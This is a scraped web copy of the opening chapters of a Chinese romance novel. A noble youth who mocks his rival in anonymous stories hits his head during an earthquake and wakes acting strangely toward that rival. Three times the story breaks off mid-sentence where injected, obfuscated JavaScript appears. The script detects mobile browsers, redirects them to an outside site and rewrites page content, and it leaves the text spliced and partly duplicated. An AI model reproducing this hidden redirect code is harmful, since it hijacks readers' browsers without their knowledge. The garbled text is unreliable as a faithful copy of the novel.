《失忆怀了死对头的崽》 1. 晋.江独家发表 “嘶!你轻点!” “一个武人,这么怕疼?” 太医署内。 青年太医正在为闻潮落处置手上的伤口。 那伤口正渗着血,约有指甲盖大小,虽不算严重,但被闻潮落手上白皙的皮肤一衬,便显得格外刺目。 “谁规定武人就不能怕疼了?我这肉都被叼了一块,能不疼吗?”闻潮落拧着眉,额头隐有细汗渗出,看得出真的很怕疼,“再说了,我又不是第一天怕疼,你才知道啊?” “是是是,咱们太医院谁不知道,闻小公子样貌出众,武艺超群,文采斐然……唯独怕疼。”青年太医言语间满是揶揄,手上动作却放轻了些,看得出与闻潮落颇为熟稔。 闻潮落从来不觉得怕疼是什么丢人的事儿。 世上众生皆有畏惧,有人怕黑,有人怕高,有人怕死,有人怕穷…… 而他最怕疼。 因此对于害他受伤的人,他便格外“记恨”。 “都怪祁煊那个混蛋,我好端端逗着那只隼,他突然出现把隼惊了,这才啄了我一口。”闻潮落愤愤道。 “幸好啄得不深。”太医想起了什么,笑道:“你和祁煊这梁子,可是越结越多了,这辈子还解得了吗?” “解不了就不解。”闻潮落道。 “我前些日子看了你新写的话本,你这次又没放过他啊。上回写他走路掉进了粪坑里,这回又写他半夜睡觉被鬼剃了头,一觉醒来变成了秃子……” “哈哈!”闻潮落想到话本里的倒霉蛋祁煊,忍不出笑出了声。 “你每次都这么编排他,就不怕他找你算账?”太医好奇。 闻潮落私下写话本编排祁煊也不是头一回了,不过他写话本一事乃是秘密,知道的人并不多。 “他不爱看话本,肯定看不着。再说了,我写话本都是匿名,他就算看到了也找不到我头上。” “祁煊可是牵狼卫副统领,你当真以为他查不到你头上?” 若祁煊真想查出匿名话本出自谁之手,确实不算难事。 但闻潮落显然不怕。 “我又没写他的名字,他查出来我也不认。” 话本里的倒霉蛋叫齐宣,和祁煊有什么关系? “好了,这几天别沾水。”太医在闻潮落的伤口处包了一层薄布巾,“不能包得太厚,伤口不透气反而不好,明天记得换药。” “谢了。”闻潮落把手上包着的布巾调整得端正些,这才起身告辞。 离开太医署,闻潮落便开始琢磨,今日祁煊害他被隼啄了手,这笔账该如何算? 打架他肯定是不愿意的。 不是打不过,而是动武难免磕碰,疼的是他自己。 那只能用老法子,在他的新话本里再给祁煊……不,应该是给“齐宣”安排个受苦受难的角色。 正琢磨着,闻潮落脚步一顿,就见宫道的拐角处立着一个人。 那家伙一袭牵狼卫武服,身高腿长,眸光毫无顾忌地笼在闻潮落身上,正是牵狼卫副统领——害闻潮落被隼啄了手的祁煊。 “还疼吗?”祁煊目光落在闻潮落刚包扎好的手上。 “废话,下次让隼啄你一口试试。”闻潮落没好气道。 “眼睛怎么有点红?”祁煊走近,骤然倾身,盯着闻潮落看。 闻潮落见了他本就气不打一处来,听了这话越发着恼,那双秋湖般漂亮的眸子里蕴着怒意,眼看就要爆发。 祁煊却不知进退,一挑眉问道:“又被疼哭了?” “你才哭了呢,让开!”闻潮落抬脚朝祁煊腿上踢去。 祁煊这家伙自幼嘴就贱,小时候闻潮落习武受了伤被疼哭时,他总会凑过去问“是不是又哭了?”小闻潮落觉得没面子,低着头不理人,对方就会趴低自下往上去看小闻潮落挂着泪珠子的脸。 然后补上一句:“还真哭了啊。” 后来,闻潮落渐渐长大,疼得厉害也不再哭,祁煊却没改了这嘴贱的毛病。 “怎么又恼了?”祁煊也不知是反应迟钝,还是想让他消气,避得不及时被踢中了小腿,“我找你有事儿商量。” “我跟你之间没什么可商量的!”闻潮落作势又要踢他。 就在这时,忽然传来一阵闷雷般的异响。 伴随着地面的摇晃,仿佛有一块巨大的石头在两人脚下滚过,连带着整个皇宫都跟着震颤起来。 “小心!”祁煊揽住闻潮落后腰将人往前一带。 与此同时,几片瓦落地,在闻潮落刚才站着的地方摔得支离破碎。 两人对视一眼,不约而同朝着空旷的地方跑去。 异响和晃动很快停止。 目之所及,宫中并未有房屋倒塌,只有一些松动的瓦片被震掉了。 “地动了?”闻潮落惊魂未定。 “我得去看看,你暂时待在空旷的地方不要进屋。”祁煊说着朝皇宫深处快步行去。 突如其来的地动,打破了整个皇宫的宁静。 一声哨音自内苑传来,那是宫中护卫集合的号令。 闻潮落没再逗留,径直去了东宫。 今日他进宫本就是得了太子传召,半道起意想去逗逗隼,这才有了被啄伤手的意外。 闻潮落到东宫时,太子正立在院中,拿着月牙剪修剪一株矮松。对方面上不见半点慌乱,看上去丝毫没有受到方才地动的影响。 “殿下。”闻潮落朝太子行礼。 “手怎么了?”太子看向他手上包着的布巾。 “被……被隼啄了一口。” “你还惦记着去擎苍卫训鸟呢?”太子无奈一笑。 “我只是路过,去逗了逗隼,不小心就被啄了。”闻潮落讪讪。 “孤还不知道你?当初为了去擎苍卫,连禁军的差事都拒了。可惜那些鸟不认你,见了你就啄……” 牵狼卫与擎苍卫,均为皇帝亲卫,前者司执行护卫之职,后者则负责监察情报。闻潮落虽自幼习武,但念着其他武职难免要时常动武,便一直想去擎苍卫,可惜擎苍卫负责传递情报的鸟都不认可他。 太子朝一旁的内侍示意,对方立刻取了一折文书过来。 “孤今日叫你来,是有个差事交给你。” “殿下请吩咐。”闻潮落忙接过文书。 “灵山的祭天台眼看就要完工了,京中事务繁杂,孤抽不开身。你替孤跑一趟,盯着工部的人把事情办妥,免得耽误了四月的大祭。”太子看了看天,又道:“今日京城地动,也不知是否会波及祭天台,你明日便动身去瞧瞧。” “是。”闻潮落道。 “不必急着回来,孤要你去监工,待祭天台完工后,你和祭天的队伍一道回来便是。” 四月上旬大祭,如今才三月中。 那他岂不是要在灵山待上大半个月? 闻潮落记得,灵山挺远的,附近连个能落脚的别苑都没有,这趟当真不算是好差事。 “到了那边要住在临时搭的营帐里,吃不好睡不好是肯定的。”太子说。 “是。”闻潮落并未推脱。 太子平日里虽待他宽容有加,可他还是知分寸的,既然是办差总不好挑三拣四。 “你今年眼看都十九了,与你一般年纪的勋贵子弟各个都领了差事,唯独你因为没去成擎苍卫耽误到了现在。”太子看着他,耐心解释道:“孤思来想去,还是把你留在东宫吧,挂个东宫执戟的职。祭天大典后,正式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396435|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上任。” 言外之意,这次让闻潮落去监工祭天台,算是上任前的一次历练。 话已至此,闻潮落只能领旨谢恩。 当日,得知他要去灵山待到祭天大典结束,昌国公府上上下下都开始忙活,生怕自家小公子外出办差吃苦头,连今日地动震碎的瓦都顾不上修了。 “六个护卫,四个小厮,两个丫鬟,一个厨子,一个大夫……公子,咱们带十四个人,你看够吗?”闻潮落的贴身小厮阿福问。 府里的嬷嬷又道:“灵山在京郊,山上早晚寒凉,还得多带些衣物。被褥各带两床,大氅带上两件,换洗的衣裳内中外分薄厚各带八套。还有小公子平时用的枕头,熏香,笔墨纸砚……” “你们当我去游山玩水呢?我是去办差,弄这么大派头不知道的以为是殿下亲自去了呢。不要护卫,带两个小厮,两个厨子,一个采买,一个大夫。”闻潮落武艺不差,可以省掉护卫,只要衣食住行不耽搁便可。 “只带六个人?”阿福问。 “你忘了我爹的话了?咱们家是国公府,我姐又是太子妃,我一言一行都牵连着国公府和东宫的脸面。在家里养尊处优也就罢了,出去办差可千万不能让人挑出毛病来。尤其这差事还是殿下安排的,万一回头人家说我是个草包纨绔,岂不让殿下跟着丢人?” 闻潮落自觉已经非常将就了,毕竟他在家里时,洗脸都有俩人伺候。 国公府的人连夜收拾,足足给闻潮落装了两辆马车的行李。若非昌国公阻拦,诸人恨不得把他的床都抬过去才罢休。 “今年的祭天大典,陛下格外重视,特意让国师推了卦才选定了灵山。”当晚昌国公将闻潮落叫到了书房,语重心长地朝儿子交待道:“所以你到了那边,行事定要沉稳些,莫要惹是生非。” 闻潮落不解:“年年春秋都有祭天大典,为何今年陛下这么上心?” “因为年初国师曾言,今年诸方异动,世道恐不太平。” “国师说的异动,不会就是今天的地动吧?”闻潮落问。 “只怕不会那么简单,这才三月……幸好今日的地动比较轻。” “我记得书上说,地动后几日之内,很有可能再次发生地动……” “这话你到了灵山可莫要乱说,如今祭天台眼看快完工了,若是再有地动出了问题,谁都不好交差。”昌国公郑重其事地说。 “既然祭天一事这么重要,太子殿下为何要派我去做监工?我又不懂修造之事,到了那边万一耽误事,岂不麻烦?”闻潮落有些担忧。 昌国公却道:“你不过是挂个监工的名头,代表太子殿下坐镇即可。陛下近几日就会派牵狼卫去盯着,有牵狼卫的人在,实际的担子落不到你肩上。” 闻潮落这才明白,自己这一趟就是走个过场。皇帝虽名义上让太子盯着此事,但仍不放心,转头就派了自己的亲卫。 他们这位天子在朝中之事上亦是如此,看似器重太子和几位皇子,实际凡事都有牵狼卫和擎苍卫盯着,大权独揽丝毫不肯放松。 这样一来,闻潮落倒是省心了。 到了灵山他就安心待着,什么都不必做。 “爹……”闻潮落正欲离开时,忽然想起了什么,朝昌国公问道:“您方才说陛下过几日会派牵狼卫去灵山,您说他会派谁啊?” “此事重大,想来会派个信任之人。” “牵狼卫统领?”闻潮落问。 “牵狼卫统领要统管京城之事,不宜外派。他们不是有两个副统领吗?” “副统领……” 牵狼卫两个副统领,其中一个……是祁煊。 但闻潮落觉得,自己应该不会那么倒霉,第一次办差就和祁煊共事。 2. 晋.江独家发表 次日一早。 闻潮落拜别了父母兄长,便启程去了灵山。 灵山在远郊,距京城一百多里地,若是顺利,天黑前就能到地方。 路上闲着无聊,闻潮落拉着阿福讨论自己新话本的内容:“我觉得我过去还是太克制了,虽然一直让话本里的祁煊倒霉,但每次给他安排的经历都是小打小闹。这次,我打算认真一点,给他安排点不一样的东西。” “公子上回已经让他秃了头,这回总不能让他缺胳膊断腿吧?”阿福笑道。 “不,这些肉.体上的折磨于他而言不足为惧。”祁煊那家伙皮糙肉厚,不像他怕这个怕那个,所以身体的折磨远远不够,“你说,人这一辈子,最长久的折磨是什么?” 阿福努力琢磨了半晌,问道:“长得丑?” “不要以貌取人嘛,长得丑又不是你的错。” 阿福摸了摸自己脸,心道自己很丑吗? 他觉得跟自家小公子比,自己这模样是丑了点,可与旁人比还算周正吧? “穷?”阿福又问。 “大丈夫有手有脚,只要肯吃苦银子总是能挣到的嘛!”闻潮落眼底闪过一丝自认为“恶毒”的目光,一字一句地道:“人这一辈子最长久的折磨,就是与一个难缠之人成婚。我朝官员不得随意和离,亦不可宠妾灭妻,若是祁煊娶到一个对付不了的妻子,他这辈子岂不是有了吃不完的苦?” 阿福张了张嘴,想要反驳,但忍住了。 在他看来,能娶上媳妇可是天大的好事,哪来的吃苦一说? “那公子打算在新的话本里,让祁副统领娶妻?” “对,但不是娶那种善解人意的大家闺秀,我要让他娶一个性情跋扈,娇纵成性,整日对他颐指气使,逼他当牛做马,动辄拳打脚踢,折磨得他不成人形的人为妻。” 祁煊那家伙整日一副欠揍的模样,合该有人收拾他! 闻潮落简直灵感爆发,吩咐阿福磨了墨铺了纸,也不顾马车颠簸,竟是当场写起了话本。 阿福凑在一旁看自家公子创作,忍不住发出疑惑:“公子怎么将他的妻子写得这么好看?皮肤白,身形也好,眼睛又漂亮……如此,岂不便宜祁副统领了?” “这你就不懂了吧?写话本虽然是胡编乱造,但也要讲逻辑啊。这人性情都这般糟糕了,若是长得还丑,祁煊怎会傻乎乎把人娶进门?所以这人必须得长得好看。” “这倒是,好色之徒难免被容貌蛊惑。”阿福恍然大悟。 “对,我把祁煊写成好色之徒,让他被美色所惑,深陷其中不能自拔。等他发现这个美人不好对付时,美人已经怀上了他的骨肉,如此他想休妻已然来不及,只能被这美人折磨一辈子。” 闻潮落心中得意。 如此歹毒的惩罚,竟然被他想到了! 闻小公子正写得起劲,马车忽然一个颠簸,停下了。 “怎么回事?”阿福挑开车帘朝车夫问道。 “路不平,把车轮硌坏了。”车夫去查看了车轮,随后找出了修车工的工具。 “从前咱们府上的马车都是在城里跑,鲜少有出城的时候。估计是到了这坑洼的路上,便有些招架不住了。”阿福说着也跳下了马车。 “工部这帮人也不知道是干什么吃的,只顾着修祭天台,就不知道把路修一下。回头若是陛下的车驾坏在了半道上,那可就热闹了。”闻潮落也下了马车,想着趁机活动一下筋骨。 这时他才发觉,脚下的官道路况并不算太差。只是眼前这一小段,不知为何高低不平,像是被挤出了褶皱一般。 “这路怎么回事?”闻潮落拧眉道。 “不知道怎么了,前头都挺平的,就这一段坏了。”车夫说。 闻潮落盯着起伏的路看了一会儿,也没看出个所以然。 不多时,车夫修好了马车,一行人继续赶路。 到达灵山脚下的营地时,天色尚未擦黑。 “阿嚏!”闻潮落刚下马车就打了个喷嚏。 三月天气虽已转暖,但山上温差大,临近傍晚时依旧十分寒凉。 “闻小公子,一路辛苦。”闻潮落代表太子来监工,营中自然已收到了消息。负责统管工事的修造使陈秉忠丝毫不敢怠慢,亲自迎了出来。 “陈大人辛苦。”闻潮落朝修造使还了个礼。 “咱们这住处都是临时搭的,比较简陋,这段时日恐怕要委屈闻小公子了。”修造使看着四十来岁,晒得有些黑,配上一副瘦高身形,看着跟染了墨的竹竿似的。 闻潮落顺着对方的话头扫了一眼将要入住的营地,这地方与其说是营地,实际上就是在山脚下找了一处较为平整的地方,搭了几排营帐,连个院墙和篱笆都没弄。 也不晓得半夜会不会有豺狼虎豹。 “陈大人言重了,你我都是办差,谈何委屈?”闻潮落想起了来时路上的情形,又道:“距离这里约莫二十多里的地方,有一段路坏了。” “此事昨日传讯的人已经通报过了,应该是昨日地动所致,过几日便差人去修。”修造使忙道。 闻潮落听他这么说,便也没再多问。 修造使带着闻潮落在营地转了一圈,又朝他知会了祭天台的修造进度。闻潮落并不懂修造之事,也不愿拿着鸡毛当令箭外行指挥内行,所以并未多说什么。 不过,尽管他自认很识时务,依旧引起了某些人的不满。 “国公府的小公子了不起啊?来办个差,竟然带了六个随从!” “嗨,人家毕竟是太子殿下的小舅子,带十个咱们也管不着啊。” 因为国公府来的人多,修造使吩咐手下再搭几顶营帐,于是这几人颇为不忿,言语间充满了对闻潮落这位公子哥的不满。 但不等他们多说,阿福便带着国公府的几人大包小包地走了过来。 “各位不必忙活,咱们几人要住的营帐自己搭就行。”阿福大步上前,将一个大包袱递给其中一人,而后客客气气地道:“我们小公子念着大伙儿辛苦,让人备了些肉干和点心。” “哎呀,闻小公子太客气了。”一人忙道。 他们来此地已有些时日,整日吃大锅饭早腻了,就想尝点零嘴解解馋。 “应该的,各位且去歇息吧。”阿福说着指挥自己人去搭营帐,又朝同来的两位厨子道:“一会儿你们去厨房看看有没有缺的,明儿让采买去城里置办。从今天开始,营地里诸位弟兄的伙食咱们就一并包了。” 此话一出,方才还在表达不满的几人顿时有些尴尬。 “对了,这位兄弟,麻烦你去帮忙传个话,就说我们同行的人中有大夫。营中若有身体不适或受伤的人,都可以过来看诊,我们来时准备了一些常用的药材。” 不仅有厨子,还有大夫。 国公府的人办事未免太体面了吧? 先前众人背后犯嘀咕,是觉得国公府来的人多给他们添了麻烦,可如今人家不但没有添麻烦,还又是加餐又是安排大夫看诊,任谁也挑不出毛病了。 “阿福哥,还是你有法子。”另一个同来的小厮朝阿福道:“这帮人一见面时鼻子不是鼻子眼不是眼的,被你这么一笼络立马就换了副面孔。” “咱们家小公子教的。”他家小公子自幼吃不得苦,在武训营那会儿吃的用的都要最好的,营中其他儿郎难免看不顺眼,隔三差五想找茬。 若是换了旁的少年,说不定要打一架决出个高低来,但闻潮落不喜欢动武。他拿了自己的压岁钱出来,给同屋的少年全部置办了同等规模的吃用,不出半个月,少年们便都成了他的小弟。 当年国公爷得知后责备他“笼络人心”。 少年闻潮落却理直气壮,“有道是不患寡而患不均,独乐乐不如众乐乐!” 闻潮落这套处世哲学,一直沿用至今。 因此他在京城的勋贵子弟中人缘极好,到哪儿都能遇到个把熟人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396436|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 甚至就连营地里,都不例外。 这会儿,他参观完了营地,见自己住的地方还没搭好,便裹了条薄毯坐在一旁看夕阳。谁知这时背后忽然有人叫他:“闻潮落!真是你啊?” 闻潮落转头看去,眸光一亮,笑道:“知道我今天来,还不在营门口候着?” 来人看着与闻潮落一般年纪,是国师的关门弟子,名叫卢明宗,与闻潮落自幼一起长大的交情。 “他们说太子殿下派了你来监工,我还以为哄我呢?”卢明宗走到他身边坐下,揶揄道:“你这金尊玉贵的娇少爷,殿下怎么舍得把你送来吃苦头?” “少贫嘴,我不仅要来,我还要住下呢。”闻潮落道。 “别怪哥哥没提醒你,这可不是个好差事。” 卢明宗四处看了看,确定近旁没有别人,这才凑到闻潮落耳边,压低了声音道:“昨日地动你在京城应该也感觉到了吧?” “我还差点被瓦片开瓢呢。”幸亏祁煊推了他一把。 “我昨夜卜了一卦,你猜怎么着?”卢明宗神神秘秘地道:“昨日的地动只是个开始,若我所推不错,接下来的三日内,京城必定会有一次更大的地动。” 更大的地动? 闻潮落蹙眉看向他,似乎在判断这话的可信程度。 卢明宗这人看着不着调,但能成为国师的关门弟子,多少还是有点本事的,尤其在卦象一事上,甚为得意。他既然这么说,便不可能是信口开河。 “不信拉倒。”卢明宗不悦。 “此事你可有朝陛下汇报?” “我师父就在宫里呢,哪儿用得着我多嘴啊。” “若是真的,我得给我爹传个信。” 闻潮落住在营地里还好说,真地动了营帐也砸不死他。可他家里人都在京城,若是地动时房屋受损伤了人,岂不麻烦? “你不必担心,此事若陛下知晓,太子殿下也定会知晓。”言外之意,太子定会提醒国公府防范,不需要闻潮落瞎操心。 话虽如此,闻潮落还是决定明日让采买的人捎个信回家。 也许是因为听了卢明宗的话,也许是因为白天坐车累着了,当夜闻潮落睡得很不踏实。而且营帐里四处漏风,哪怕盖着被子依旧有些凉飕飕的。 折腾半宿,闻潮落索性起了身。 他披上外袍,铺开纸磨了墨,端坐案前写起了话本。 今日在马车上,他正写到祁煊娶回家的那位娇贵美人不慎扭了脚。明明也不算多重的伤,美人却不肯再下地,进进出出都要让祁煊抱着。 光是抱着还不行,吃个饭也得祁煊亲自喂,冷了热了都有计较,稍有不慎就要发脾气。话本里的祁煊刚娶了妻尚在兴头上,对这位美人百依百顺,心甘情愿地当牛做马…… 就在闻潮落写得正起劲儿时,外头忽然传来一声闷响。 这响声似是从灵山的方向而来,听着像是有巨大的山石从山上滚滚而下,和那日闻潮落在宫里地动时听到的声音相似,却又不大一样。 难道,又地动了? 闻潮落大步走出营帐。 就见不远处灵山的方向,腾着淡绿色的幽光,那幽光自山体升腾而上,比山顶足足高了数十丈,看上去像是一大片缭绕的雾气。 雾气怎么会发光? 而且是淡绿色的。 闻潮落怔怔看着那一幕,只见“雾气”不断蒸腾,很快便蔓延开去,几乎将整座灵山都笼罩其中,且有继续扩散之势。 那场景既奇幻又诡异。 闻潮落甚至怀疑自己可能是在做梦。 在经过短暂的震惊后,他转身朝着卢明宗的营帐走去,想把对方叫起来看看这到底是怎么回事。然而他刚走了几步,便觉脚下的大地骤然开始颠簸。 那颠簸的力道极大,闻潮落感觉自己仿佛成了笸箩里的豆子,身体几乎被颠离地面…… 随即,他整个人重重摔在地上,失去了意识。 3. 晋.江独家发表 昨夜一场地动,闹得满京城人心惶惶。 早朝前,文武百官聚集在大殿中议论纷纷。 “感觉和上次的力道差不多。” “略微严重一些吧,我府上的瓦又掉了好几块。” “这短短两日内,一连地动了两次,不会还有下一次吧?” “若是一次比一次严重,那就麻烦了。” 这时,一位须发染霜的老臣开口道:“这一连两场地动,实属罕见。我朝自立国至今两百三十余载,只有太.祖驾崩那年,出现过一次。” “我记得史书上说,那次地动异常激烈,震得东郊的潮河都改了道。” 众人议论间,内侍通传响起。 大殿中顿时安静下来,百官齐齐朝皇帝行礼。 “昨夜地动,城中可有伤亡?”皇帝开口问道。 “回陛下,巡防营自昨夜便开始在城中巡查,目前尚未收到有人伤亡的消息。” 没有消息,就是最好的消息。 “国师昨夜推了一卦,近期京城不会继续地动,京兆府即刻去拟布告知会百姓,免得百姓心中惶恐。”大渝朝这位皇帝看着约莫五十来岁,气质冷峻,颇有为君者的威严。 而一旁立着的太子,五官虽有五分肖似皇帝,气质却温和得多。 大殿之上,朝臣轮流上奏。 就在这时,外头传来通报,说是灵山来了消息。 “是不是祭天台受到了地动波及?”皇帝问道。 “回陛下,祭天台确实受到了波及,不过陈大人说很快就能修复,不会影响工期。” 皇帝闻言面色稍缓,只要祭天台能如期完工,受到波及也不足为虑。 “可有人受伤?”一旁的太子问道。 传话之人得了陈秉忠叮嘱,本想等下了朝再详细汇报,毕竟受伤之人身份特殊。但太子当场发问,他也不敢不答,只得回话:“回殿下,工匠们都是轻伤,闻小公子带去的大夫,已经为他们料理好了伤口。但是……闻小公子的伤比较棘手,磕到了脑袋。” 此言一出,众人俱是一怔。 闻潮落可是国公府最受宠的小公子,被太子派去灵山办差的第一天就磕了脑袋,这未免也太倒霉了。 一旁的昌国公十分着急:“我儿伤势如何?可有带他回京医治?” “国公莫急,闻小公子性命无碍。但大夫说路途颠簸,小公子此时不易奔波,而且……”传话之人支支吾吾,似是有些为难。 “有话就说,莫要吞吞吐吐。”皇帝开口。 “闻小公子受伤后时昏时醒,醒着的时候说……说要见祁副统领。” 此言一出,数十道目光齐刷刷看向了龙椅旁立着的祁煊。 不少人心中暗道,国公府这位小公子当真不是一般的娇惯,找人都找到早朝上来了。 而此时的祁副统领武服笔挺,岿然不动,面上看不出任何异样,心中却翻了天似的。 闻潮落到底搞什么鬼,是不是脑袋磕傻了? “着太医院院判亲自带人去灵山,务必要治好闻家二郎。告诉太医院的人,库房里但凡能用上的药材尽可带上,即刻启程。”皇帝说罢看向祁煊,吩咐道:“祁煊,你也去吧,替朕看看闻家儿郎的伤势。” “末将领命。”祁煊朝皇帝行了个礼,快步退出了大殿。 皇帝原本就打算派他去灵山,今日正好有了个名正言顺的由头。 一行人快马加鞭到了京郊营地时,闻潮落正在昏睡。 青年双目紧闭,纤长的睫毛格外抢眼,衬得面色带着几分病态的苍白。 “我家小公子住在营地里,怎么会伤了脑袋?”趁着院判查看闻潮落伤势时,刚刚赶来的国公府护卫朝一旁的修造使问道。 “下官也不知……”修造使陈秉忠擦了擦额头的汗。 “昨夜地动后我们从营帐里出来,就看到潮落躺在地上不省人事。国公府的大夫仔细检查过,猜测可能是地动时他站在外头,被震晕了,磕到了脑袋。”卢明宗道。 此时院判开口道:“依着脉象来看,闻小公子并无性命之忧。” 营中的大夫虽诊过几次脉,但闻潮落时昏时醒,众人多少还是放心不下,听太医这么说才算松了口气。 “我家公子何时能好?”护卫问道。 “这个暂时不好说,一会儿老夫先给他施针吧。” 所幸,太医施过针大半个时辰后,闻潮落就醒了。 他醒来后整个人看起来呆呆的,一副大梦未消的模样。 “闻小公子,可认得老夫?”太医院院判问他。 “认得,您怎么在这儿?”闻潮落不解。 “这是几?”对方伸出三根手指在他眼前晃了晃。 “三……别晃了,头晕。”闻潮落打掉了对方的手。 一旁的阿福见状终于放下了心,道:“公子你可算是醒了,自打早晨醒过一次后,你又昏睡了大半天呢。” “我早晨醒过一回?”闻潮落有些茫然。 “醒过一回,不过说了几句话又昏过去了。”阿福道。 “唔……”闻潮落揉了揉脑袋,只觉得记忆模模糊糊,不甚清晰,“昨夜地动那么严重,可有人受伤?京城有消息传过来吗?” “公子放心,没什么大碍,京城也无事。”一旁的护卫道。 “无事就好。”闻潮落放下心的同时,也有些惊讶,他记得昨晚地动挺剧烈的。 护卫见闻潮落看起来状态不错,便匆匆回了京城。今日得知闻潮落受伤,整个国公府和东宫都提着心呢,他得尽快回去报个平安。 “扶闻小公子起来走几步看看。”一旁的太医说。 阿福闻言立刻扶着闻潮落起身,然而闻小公子脚刚落地,便跌坐回了榻上,说自己脚疼。 太医见状查看了他的脚踝,开口道:“扭到了脚,问题不大,歇两日就好了。” “骨头没事吧?”阿福担心地问道。 “老夫再瞧瞧。”见闻潮落一副疼痛难忍的模样,太医便仔细又检查了一遍,“骨头都是好的,无碍。” “我们家公子怕疼。”阿福解释道。 “那……那便多休息几日,暂时不要走动。” 面对这样的闻小公子,太医也是没招了,总不能扭个脚就开止疼散吧。 “阿福。”待太医离开营帐后,闻潮落病恹恹地朝阿福问道:“我受伤的事情,可让人知会姓祁的了?” “公子早晨醒了的时候,说要见他,陈大人就差人去传了话……” 阿福挺纳闷的,他家公子和祁副统领不是向来不对付吗,昨日还写话本编排人来着,怎么今日就对人这么在意了? “传了话他竟没来?”闻潮落问。 “呃,祁副统领倒是来过,这会儿去查看祭天台了。” “我都这样了,他还有心思去祭天台?”闻潮落十分不满,“那他来的时候,待了多久?” “祁副统领是和太医一起来的,不过他一直站在边上没说话,好像是太医给你施完针以后走的。”阿福努力回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396437|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了一下,又道:“这次太医能来这么快,还多亏了牵狼卫的人呢。听说是祁副统领带着人直接上门把院判从榻上薅起来的。” 今日太医院院判不值夜,是以早朝时尚未进宫。 牵狼卫的人一大早就上门请人,着实把院判吓得够呛,还以为自己犯了什么事儿要被牵狼卫秘密处决。 毕竟,这帮人轻易不会上门,上门多半没好事。 “祁煊何时能查看完祭天台?”闻潮落又问。 “他……”阿福挠了挠头,“要不小的去问问?” “你找人去给他传话,就说我立刻就要见到他。若是一炷香的功夫他还不出现,以后就别再出现了!”闻潮落语气不善。 阿福虽然摸不着头脑,但还是乖乖找人去给祁煊传了话。 幸好守在营中的牵狼卫办事利索,骑了马上山,竟真把人叫了回来。 祁煊走进营帐时,就见先前昏迷不醒的人,此刻已经恢复了活力,那张脸不再显得苍白,甚至染了点异样的红,看着像是在……生气? “醒了?”祁煊开口。 “你还知道来看我?”闻潮落质问他。 祁煊张了张嘴,一时不知该如何答话。 一直以来,他都习惯了闻潮落面对自己时,像一只随时都会炸毛的猫,满身都写着不好惹。偏偏他就喜欢逗猫,哪怕被挠了也乐此不疲。 可今日的闻潮落,和从前不大一样。具体是哪里不一样,他一时也说不上来,或许是受了伤,所以整个人看起来都有些委屈巴巴的。 “问你话呢!”闻潮落盯着他,目光咄咄逼人。 祁煊明明没做什么亏心事,被他这么一质问,竟是莫名生出了几分心虚来。 “头还疼吗?”祁煊问。 “疼死了,头也疼,脚也疼。”闻潮落语气缓和了一点,却依旧透着几分委屈,“我要去茅房。” 祁煊闻言往旁边闪了一步,给闻小公子让出了通向营帐门口的路。但闻小公子却没起身,而是盯着祁煊,仿佛在等什么。 “不……不急?”祁煊忍不住问道。 “急,现在就要去。”闻潮落说。 “那怎么还不去?” “我都说了脚疼,你还让我自己去?” “哦。”祁煊懂了,伸手道:“我扶你去?” “不要。”闻潮落颐指气使,“你抱我去。” 什么玩意? 抱?? 祁煊一脸震惊地看着闻潮落,大脑飞速思考,试图判断这是不是闻潮落新学的捉弄人的手段。 闻小公子向来不喜欢跟人身体接触,祁煊偶尔跟他开玩笑时搭个肩膀,他都要很嫌弃的甩开,更别说让人抱着了。再说了,一个大男人抱着另一个大男人,不是很奇怪吗? 所以这一定是个恶作剧。 在大殿上听到闻潮落要见他时,他就觉得不对劲。 闻潮落一定还在为被隼啄手之事不满,憋着坏主意报复自己,甚至不惜闹到了陛下和百官面前。 “你确定要我抱着你去?”祁煊试探。 “少废话!”闻潮落伸出了一条胳膊,那是一个邀请拥抱的姿势。 祁煊那飞速思考的大脑,短暂空白了那么一瞬。随后他“视死如归”地上前两步,就着闻潮落伸出的那条胳膊俯下身,一手绕到对方腰后,另一手穿过对方膝弯,将人打横抱了起来。 抱就抱! 又不是抱不动。 他倒要看看,这闻小公子葫芦里究竟卖的什么药。 4. 晋.江独家发表 把人抱起来的瞬间,一抹若有似无的淡香掠过祁煊鼻息,令他有一瞬间的失神: 怀中人不重,也不算很轻。 身上不软,也不太硬,还很好闻…… 祁煊轻咳了一声,很快回过神来。 然而他预想中的捉弄并没有到来。 闻潮落既没有趁机往他衣服里塞虫子,也没做出任何袭击动作,而是就势搂住了他的脖颈,以便让他抱得更稳更舒服。 祁煊感觉后颈有些痒,心道闻潮落会不会想拧他的脖子? 但这一招是牵狼卫常用的招式,闻潮落应该不擅长。再说了,闻潮落总不至于讨厌他到要索命的地步吧? “愣着干什么呢?”闻潮落不满地催促。 